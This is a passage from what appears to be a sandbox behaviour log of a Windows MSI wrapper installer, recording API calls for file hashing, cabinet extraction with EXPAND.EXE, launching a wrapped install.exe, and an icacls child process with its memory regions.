lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.129] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.129] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.129] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.129] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.129] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.129] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.129] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.129] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.129] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.129] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.129] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.129] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.129] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.130] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.130] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.130] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.130] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.259] CryptReleaseContext (hProv=0x447f08, dwFlags=0x0) returned 1 [0157.259] MsiCreateRecord (cParams=0x2) returned 0x62 [0157.261] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x40) returned 0x45b5d8 [0157.261] RtlReAllocateHeap (Heap=0x400000, Flags=0x0, Ptr=0x45b5d8, Size=0x90) returned 0x440388 [0157.261] MsiRecordSetStringW (hRecord=0x62, iField=0x0, szValue="-- CUSTOM ACTION -- Extract files from installer cabinet") returned 0x0 [0157.262] MsiProcessMessage (hInstall=0x46, eMessageType=0x4000000, hRecord=0x62) returned 0 [0157.266] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x440388 | out: hHeap=0x400000) returned 1 [0157.266] MsiCloseHandle (hAny=0x62) returned 0x0 [0157.267] SHGetFolderPathW (in: hwnd=0x0, csidl=37, hToken=0x0, dwFlags=0x0, pszPath=0x214eff0 | out: pszPath="C:\\Windows\\system32") returned 0x0 [0157.267] PathAppendW (in: pszPath="C:\\Windows\\system32", pMore="EXPAND.EXE" | out: pszPath="C:\\Windows\\system32\\EXPAND.EXE") returned 1 [0157.267] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x50) returned 0x457a18 [0157.267] MsiCreateRecord (cParams=0x2) returned 0x63 [0157.267] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x40) returned 0x45b5d8 [0157.268] RtlReAllocateHeap (Heap=0x400000, Flags=0x0, Ptr=0x45b5d8, Size=0x70) returned 0x440388 [0157.268] MsiRecordSetStringW (hRecord=0x63, iField=0x0, szValue="-- CUSTOM ACTION -- Extract files") returned 0x0 [0157.268] MsiProcessMessage (hInstall=0x46, eMessageType=0x4000000, hRecord=0x63) returned 0 [0157.270] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x440388 | out: hHeap=0x400000) returned 1 [0157.270] MsiCloseHandle (hAny=0x63) returned 0x0 [0157.271] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x40) returned 0x45b5d8 [0157.271] ShellExecuteExW (in: pExecInfo=0x214f21c*(cbSize=0x3c, fMask=0x8140, hwnd=0x0, lpVerb=0x0, lpFile="C:\\Windows\\system32\\EXPAND.EXE", lpParameters="-R files.cab -F:* files", lpDirectory="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\MW-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\", nShow=0, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x214f21c*(cbSize=0x3c, fMask=0x8140, hwnd=0x0, lpVerb=0x0, lpFile="C:\\Windows\\system32\\EXPAND.EXE", lpParameters="-R files.cab -F:* files", lpDirectory="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\MW-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\", nShow=0, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x290)) returned 1 [0157.302] WaitForSingleObject (hHandle=0x290, dwMilliseconds=0xffffffff) returned 0x0 [0159.004] CloseHandle (hObject=0x290) returned 1 [0159.005] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x45b5d8 | out: hHeap=0x400000) returned 1 [0159.005] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x457a18 | out: hHeap=0x400000) returned 1 [0159.006] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0xd0) returned 0x4374c0 [0159.006] CreateFileW (lpFileName="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\MW-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\msiwrapper.ini" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\mw-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\msiwrapper.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x290 [0159.006] GetFileSize (in: hFile=0x290, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x4ca [0159.006] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x4cc) returned 0x2412f20 [0159.006] ReadFile (in: hFile=0x290, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x4ca, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x4ca, lpOverlapped=0x0) returned 1 [0159.007] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2412f20 | out: hHeap=0x2410000) returned 1 [0159.007] CloseHandle (hObject=0x290) returned 1 [0159.007] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x20) returned 0x43a060 [0159.007] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0xa0) returned 0x43a4b8 [0159.008] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x43a060 | out: hHeap=0x400000) returned 1 [0159.008] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x20) returned 0x43a060 [0159.008] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x43a060 | out: hHeap=0x400000) returned 1 [0159.008] CryptAcquireContextW (in: phProv=0x214f20c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x214f20c*=0x448018) returned 1 [0159.010] CryptCreateHash (in: hProv=0x448018, Algid=0x800c, hKey=0x0, dwFlags=0x0, phHash=0x214f210 | out: phHash=0x214f210) returned 1 [0159.010] CryptHashData (hHash=0x436420, pbData=0x436008, dwDataLen=0xb6, dwFlags=0x0) returned 1 [0159.010] CryptHashData (hHash=0x436420, pbData=0x435b20, dwDataLen=0x442, dwFlags=0x0) returned 1 [0159.010] CryptGetHashParam (in: hHash=0x436420, dwParam=0x4, pbData=0x214f1b8, pdwDataLen=0x214f198, dwFlags=0x0 | out: pbData=0x214f1b8, pdwDataLen=0x214f198) returned 1 [0159.010] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x4) returned 0x2410ef8 [0159.010] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x20) returned 0x2410a78 [0159.010] CryptGetHashParam (in: hHash=0x436420, dwParam=0x2, pbData=0x2410a78, pdwDataLen=0x214f1b8, dwFlags=0x0 | out: pbData=0x2410a78, pdwDataLen=0x214f1b8) returned 1 [0159.010] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x4) returned 0x2410aa0 [0159.010] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x18) returned 0x2410f08 [0159.010] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x4) returned 0x2410ab0 [0159.011] GetLastError () returned 0x0 [0159.011] CryptDestroyHash (hHash=0x436420) returned 1 [0159.011] CryptReleaseContext (hProv=0x448018, dwFlags=0x0) returned 1 [0159.011] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x43a560 | out: hHeap=0x400000) returned 1 [0159.012] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x43a4b8 | out: hHeap=0x400000) returned 1 [0159.012] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x20) returned 0x43a060 [0159.012] RtlReAllocateHeap (Heap=0x400000, Flags=0x0, Ptr=0x43a060, Size=0x30) returned 0x440e38 [0159.012] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x440e38 | out: hHeap=0x400000) returned 1 [0159.012] RtlReAllocateHeap (Heap=0x400000, Flags=0x0, Ptr=0x435b10, Size=0x9b0) returned 0x4635a0 [0159.012] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x20) returned 0x43a060 [0159.013] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x43a060 | out: hHeap=0x400000) returned 1 [0159.013] CryptAcquireContextW (in: phProv=0x214f21c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x214f21c*=0x448018) returned 1 [0159.014] CryptCreateHash (in: hProv=0x448018, Algid=0x800c, hKey=0x0, dwFlags=0x0, phHash=0x214f220 | out: phHash=0x214f220) returned 1 [0159.014] CryptHashData (hHash=0x436460, pbData=0x436008, dwDataLen=0xb6, dwFlags=0x0) returned 1 [0159.014] CryptHashData (hHash=0x436460, pbData=0x4635b0, dwDataLen=0x51c, dwFlags=0x0) returned 1 [0159.014] CryptGetHashParam (in: hHash=0x436460, dwParam=0x4, pbData=0x214f1c8, pdwDataLen=0x214f1a8, dwFlags=0x0 | out: pbData=0x214f1c8, pdwDataLen=0x214f1a8) returned 1 [0159.014] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x4) returned 0x2410ef8 [0159.014] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x20) returned 0x2410a78 [0159.014] CryptGetHashParam (in: hHash=0x436460, dwParam=0x2, pbData=0x2410a78, pdwDataLen=0x214f1c8, dwFlags=0x0 | out: pbData=0x2410a78, pdwDataLen=0x214f1c8) returned 1 [0159.014] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x4) returned 0x2410aa0 [0159.014] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x18) returned 0x2410f08 [0159.015] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x4) returned 0x2410ab0 [0159.015] GetLastError () returned 0x0 [0159.015] CryptDestroyHash (hHash=0x436460) returned 1 [0159.015] CryptReleaseContext (hProv=0x448018, dwFlags=0x0) returned 1 [0159.015] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x20) returned 0x43a060 [0159.015] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x43a060 | out: hHeap=0x400000) returned 1 [0159.016] CreateFileW (lpFileName="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\MW-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\msiwrapper.ini" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\mw-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\msiwrapper.ini"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x290 [0159.017] WriteFile (in: hFile=0x290, lpBuffer=0x4635b2*, nNumberOfBytesToWrite=0x5a4, lpNumberOfBytesWritten=0x214f254, lpOverlapped=0x0 | out: lpBuffer=0x4635b2*, lpNumberOfBytesWritten=0x214f254*=0x5a4, lpOverlapped=0x0) returned 1 [0159.020] CloseHandle (hObject=0x290) returned 1 [0159.022] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x43a4b8 | out: hHeap=0x400000) returned 1 [0159.022] MsiCreateRecord (cParams=0x2) returned 0x64 [0159.031] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x40) returned 0x45b5d8 [0159.031] RtlReAllocateHeap (Heap=0x400000, Flags=0x0, Ptr=0x45b5d8, Size=0x70) returned 0x440388 [0159.031] MsiRecordSetStringW (hRecord=0x64, iField=0x0, szValue="-- CUSTOM ACTION -- Focus") returned 0x0 [0159.032] MsiProcessMessage (hInstall=0x46, eMessageType=0x4000000, hRecord=0x64) returned 0 [0159.038] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x440388 | out: hHeap=0x400000) returned 1 [0159.038] MsiCloseHandle (hAny=0x64) returned 0x0 [0159.040] GetModuleHandleW (lpModuleName=0x0) returned 0x810000 [0159.040] RegisterClassExW (param_1=0x214f238) returned 0xc076 [0159.041] CreateWindowExW (dwExStyle=0x0, lpClassName="FOCUSAPP", lpWindowName="FOCUSAPP", dwStyle=0xcf0000, X=-2147483648, Y=0, nWidth=-2147483648, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x810000, lpParam=0x0) returned 0x9005c [0159.285] ShowWindow (hWnd=0x9005c, nCmdShow=0) returned 0 [0159.285] UpdateWindow (hWnd=0x9005c) returned 1 [0159.285] IsWindow (hWnd=0x9005c) returned 1 [0159.285] GetForegroundWindow () returned 0x102a8 [0159.285] GetCurrentThreadId () returned 0xd2c [0159.285] GetWindowThreadProcessId (in: hWnd=0x102a8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7f0 [0159.285] AttachThreadInput (idAttach=0xd2c, idAttachTo=0x7f0, fAttach=1) returned 1 [0159.287] SystemParametersInfoW (in: uiAction=0x2000, uiParam=0x0, pvParam=0x214f220, fWinIni=0x0 | out: pvParam=0x214f220) returned 1 [0159.287] SystemParametersInfoW (in: uiAction=0x2001, uiParam=0x0, pvParam=0x0, fWinIni=0x3 | out: pvParam=0x0) returned 1 [0159.485] AllowSetForegroundWindow (dwProcessId=0xffffffff) returned 1 [0159.485] SetForegroundWindow (hWnd=0x9005c) returned 1 [0159.519] SystemParametersInfoW (in: uiAction=0x2001, uiParam=0x0, pvParam=0x30d40, fWinIni=0x3 | out: pvParam=0x30d40) returned 1 [0159.591] AttachThreadInput (idAttach=0xd2c, idAttachTo=0x7f0, fAttach=0) returned 1 [0159.591] BringWindowToTop (hWnd=0x9005c) returned 1 [0159.592] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x74a0a6f5, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1 [0159.592] MsiCreateRecord (cParams=0x2) returned 0x65 [0159.598] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x40) returned 0x45b860 [0159.598] RtlReAllocateHeap (Heap=0x400000, Flags=0x0, Ptr=0x45b860, Size=0x70) returned 0x461c48 [0159.598] MsiRecordSetStringW (hRecord=0x65, iField=0x0, szValue="-- CUSTOM ACTION -- Run wrapped setup") returned 0x0 [0159.599] MsiProcessMessage (hInstall=0x46, eMessageType=0x4000000, hRecord=0x65) returned 0 [0159.605] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x461c48 | out: hHeap=0x400000) returned 1 [0159.605] MsiCloseHandle (hAny=0x65) returned 0x0 [0159.606] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x40) returned 0x45b860 [0159.606] MsiCreateRecord (cParams=0x2) returned 0x66 [0159.607] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x40) returned 0x45b8a8 [0159.607] RtlReAllocateHeap (Heap=0x400000, Flags=0x0, Ptr=0x45b8a8, Size=0x70) returned 0x461c48 [0159.607] MsiRecordSetStringW (hRecord=0x66, iField=0x0, szValue="-- CUSTOM ACTION -- Elevation mode is never") returned 0x0 [0159.608] MsiProcessMessage (hInstall=0x46, eMessageType=0x4000000, hRecord=0x66) returned 0 [0159.612] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x461c48 | out: hHeap=0x400000) returned 1 [0159.612] MsiCloseHandle (hAny=0x66) returned 0x0 [0159.614] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x45b860 | out: hHeap=0x400000) returned 1 [0159.614] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x0, Condition=0x2) returned 0x18 [0159.614] VerSetConditionMask (ConditionMask=0x18, TypeMask=0x80000000, Condition=0x1) returned 0x1b [0159.614] VerSetConditionMask (ConditionMask=0x1b, TypeMask=0x80000000, Condition=0x20) returned 0x1801b [0159.614] VerSetConditionMask (ConditionMask=0x1801b, TypeMask=0x80000000, Condition=0x10) returned 0x1b01b [0159.614] VerifyVersionInfoW (in: lpVersionInformation=0x214f148, dwTypeMask=0x33, dwlConditionMask=0x1b01b | out: lpVersionInformation=0x214f148) returned 1 [0159.614] MsiCreateRecord (cParams=0x2) returned 0x67 [0159.615] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x40) returned 0x45b860 [0159.615] RtlReAllocateHeap (Heap=0x400000, Flags=0x0, Ptr=0x45b860, Size=0x70) returned 0x461c48 [0159.615] MsiRecordSetStringW (hRecord=0x67, iField=0x0, szValue="-- CUSTOM ACTION -- OS supports elevation") returned 0x0 [0159.616] MsiProcessMessage (hInstall=0x46, eMessageType=0x4000000, hRecord=0x67) returned 0 [0159.620] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x461c48 | out: hHeap=0x400000) returned 1 [0159.620] MsiCloseHandle (hAny=0x67) returned 0x0 [0159.621] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x74a0bb20, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0159.621] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x20) returned 0x462f70 [0159.621] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x74a0bb20, cbMultiByte=-1, lpWideCharStr=0x462f80, cchWideChar=6 | out: lpWideCharStr="always") returned 0 [0159.622] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x462f70 | out: hHeap=0x400000) returned 1 [0159.622] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x74a0bb28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 15 [0159.622] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x30) returned 0x45a3a8 [0159.622] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x74a0bb28, cbMultiByte=-1, lpWideCharStr=0x45a3b8, cchWideChar=14 | out: lpWideCharStr="administratorss") returned 0 [0159.622] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x45a3a8 | out: hHeap=0x400000) returned 1 [0159.622] MsiCreateRecord (cParams=0x2) returned 0x68 [0159.623] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x40) returned 0x45b860 [0159.623] RtlReAllocateHeap (Heap=0x400000, Flags=0x0, Ptr=0x45b860, Size=0x80) returned 0x4480a0 [0159.623] MsiRecordSetStringW (hRecord=0x68, iField=0x0, szValue="-- CUSTOM ACTION -- Do not elevate executable installer") returned 0x0 [0159.624] MsiProcessMessage (hInstall=0x46, eMessageType=0x4000000, hRecord=0x68) returned 0 [0159.628] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x4480a0 | out: hHeap=0x400000) returned 1 [0159.628] MsiCloseHandle (hAny=0x68) returned 0x0 [0159.629] ShellExecuteExW (in: pExecInfo=0x214f560*(cbSize=0x3c, fMask=0x8140, hwnd=0x0, lpVerb=0x0, lpFile="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\MW-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\files\\install.exe", lpParameters="", lpDirectory="", nShow=1, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x214f560*(cbSize=0x3c, fMask=0x8140, hwnd=0x0, lpVerb=0x0, lpFile="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\MW-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\files\\install.exe", lpParameters="", lpDirectory="", nShow=1, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x2b8)) returned 1 [0159.671] MsiCreateRecord (cParams=0x2) returned 0x69 [0159.672] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x40) returned 0x45b860 [0159.672] RtlReAllocateHeap (Heap=0x400000, Flags=0x0, Ptr=0x45b860, Size=0x70) returned 0x461c48 [0159.672] MsiRecordSetStringW (hRecord=0x69, iField=0x0, szValue="-- CUSTOM ACTION -- Wait for finish") returned 0x0 [0159.672] MsiProcessMessage (hInstall=0x46, eMessageType=0x4000000, hRecord=0x69) returned 0 [0159.723] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x461c48 | out: hHeap=0x400000) returned 1 [0159.723] MsiCloseHandle (hAny=0x69) returned 0x0 [0159.724] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0204.353] GetExitCodeProcess (in: hProcess=0x2b8, lpExitCode=0x214f2a0 | out: lpExitCode=0x214f2a0*=0xc000013a) returned 1 [0204.353] CloseHandle (hObject=0x2b8) returned 1 [0204.354] GetLastError () returned 0x36b7 [0204.355] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x80) returned 0x4480a0 [0204.355] GetLastError () returned 0x36b7 [0204.355] MsiCreateRecord (cParams=0x2) Thread: id = 161 os_tid = 0xd28 [0156.385] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x752b0000 [0156.385] GetProcAddress (hModule=0x752b0000, lpProcName="DecodePointer") returned 0x76f39d35 [0156.386] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x8, Size=0x214) returned 0x2412ae0 [0156.386] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x752b0000 [0156.386] GetProcAddress (hModule=0x752b0000, lpProcName="DecodePointer") returned 0x76f39d35 [0156.386] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x752b0000 [0156.386] GetProcAddress (hModule=0x752b0000, lpProcName="EncodePointer") returned 0x76f40fcb [0156.387] GetProcAddress (hModule=0x752b0000, lpProcName="DecodePointer") returned 0x76f39d35 [0156.387] GetCurrentThreadId () returned 0xd28 Thread: id = 162 os_tid = 0xd24 [0156.441] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x752b0000 [0156.441] GetProcAddress (hModule=0x752b0000, lpProcName="DecodePointer") returned 0x76f39d35 [0156.441] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x8, Size=0x214) returned 0x2412d00 [0156.441] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x752b0000 [0156.442] GetProcAddress (hModule=0x752b0000, lpProcName="DecodePointer") returned 0x76f39d35 [0156.442] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x752b0000 [0156.442] GetProcAddress (hModule=0x752b0000, lpProcName="EncodePointer") returned 0x76f40fcb [0156.442] GetProcAddress (hModule=0x752b0000, lpProcName="DecodePointer") returned 0x76f39d35 [0156.443] GetCurrentThreadId () returned 0xd24 Process: id = "10" image_name = "icacls.exe" filename = "c:\\windows\\syswow64\\icacls.exe" page_root = "0x2e3c3000" os_pid = "0xd20" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "9" os_parent_pid = "0x38c" cmd_line = "\"C:\\Windows\\system32\\ICACLS.EXE\" \"C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\MW-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\.\" /SETINTEGRITYLEVEL (CI)(OI)HIGH" cur_dir = "C:\\Windows\\SysWOW64\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\msiserver" [0xe], "NT AUTHORITY\\Logon Session 00000000:0006cbe1" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Region: id = 2447 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2448 start_va = 0x30000 end_va = 0x31fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 2449 start_va = 0x40000 end_va = 0x40fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2450 start_va = 0x50000 end_va = 0x53fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 2451 start_va = 0x60000 end_va = 0x60fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 2452 start_va = 0xf0000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 2453 start_va = 0x1c0000 end_va = 0x1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 2454 start_va = 0x410000 end_va = 0x419fff monitored = 0 entry_point = 0x415489 region_type = mapped_file name = "icacls.exe" filename = "\\Windows\\SysWOW64\\icacls.exe" (normalized: "c:\\windows\\syswow64\\icacls.exe") Region: id = 2455 start_va = 0x76d20000 end_va = 0x76ec8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2456 start_va = 0x76f00000 end_va = 0x7707ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 2457 start_va = 0x7efb0000 end_va = 0x7efd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 2458 start_va = 0x7efdb000 end_va = 0x7efddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 2459 start_va = 0x7efde000 end_va = 0x7efdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 2460 start_va = 0x7efdf000 end_va = 0x7efdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: 